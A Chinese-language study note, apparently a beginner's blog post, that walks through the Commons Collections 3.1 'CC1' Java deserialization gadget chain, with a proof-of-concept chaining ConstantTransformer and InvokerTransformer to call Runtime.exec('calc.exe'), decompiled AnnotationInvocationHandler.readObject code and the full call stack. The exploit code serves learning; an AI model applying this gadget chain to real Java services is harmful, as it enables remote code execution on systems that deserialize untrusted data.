InvokerTransformerCC1链的漏洞点位于commons-collections-3.1.jar\org\apache\commons\collections\functors\InvokerTransformer.class中反射加载参数可控
可以发现触发点在调用了InvokerTransformer类的Transformer方法(也就是反射命令执行点)
我们先了解一下这些类
TransformedMap
InvokerTransformer
ConstantTransformer
ChainedTransformer
TransformedMap
我们看代码这里调用的是decorate方法
debug代码
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class TransformedMap_class { public static void main(String[] args) throws Exception{ Map innerMap = new HashMap(); innerMap.put("N0lan", "value"); Map outerMap = TransformedMap.decorate(innerMap, new Hello(), new Hello1()); Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar"); } } class Hello implements Transformer { @Override public Object transform(Object input) { System.out.println(input.toString()); return "Hello"; } } class Hello1 implements Transformer { @Override public Object transform(Object input) { System.out.println(input.toString()); return "Hello1"; } }
可以发现这个函数就是完成实列化的过程,并且调用对象的trasform方法
InvokerTransformer
此类里面的transform类在input不为空的时候会触发反射加载从而导致命令执行
ConstantTransformer
返回值为当前参数的对象
ChainedTransformer
ChainedTransformer类的transform方法把传入的对象依次执行tranform方法后返回
这里会返回在之后调用InvokerTransformer.transform(Runtime)
TransformedMap利用链
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class ccONE { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChain Map innerMap = new HashMap(); innerMap.put(null, null); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //触发漏洞 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue(null); }}
调试发现是这样调用到InvokerTransformer的transform方法的
transform:124, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
checkSetValue:169, TransformedMap (org.apache.commons.collections.map)
setValue:191, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map)
main:27, ccONE
反序列化
这里 要用到AnnotationInvocationHandler.readObject()函数 不然 得化这个点就会很鸡肋 ,的反序列化在转换成Map(Entry)然后调用.setValue()才能触发exp,很难找这样的点
但是AnnotationInvocationHandler 恰好满足了这点 这里由于是萌新所以一步一步分析
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator();//迭代 while(var4.hasNext()) { Entry var5 = (Entry)var4.next();//转换为Entry String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } }
至于为什么map key必须绑定为value
https://xz.aliyun.com/t/7031#toc-9
因此完整的调用过程链是
ObjectInputStream.readObject() ObjectInputStream.readObject0() ObjectInputStream.readOrdinaryObject() ObjectInputStream.readSerialData() ObjectStreamClass.invokeReadObject() Method.invoke() DelegatingMethodAccessorImpl.invoke() NativeMethodAccessorImpl.invoke() NativeMethodAccessorImpl.invoke0() AnnotationInvocationHandler.readObject() MapEntry.setValue() TransformedMap.checkSetValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
参考
https://www.cnblogs.com/nice0e3/p/13860621.html https://mochazz.github.io/page/2/ https://blog.0kami.cn/archives/ https://www.anquanke.com/post/id/195865 https://www.cnblogs.com/kuaile1314/p/14239718.html https://xz.aliyun.com/t/4711#toc-3 https://xz.aliyun.com/t/7031#toc-9
:学习java cc1就这么难 后面还咋学呀,学一点算一点吧 少就是多 满慢就是快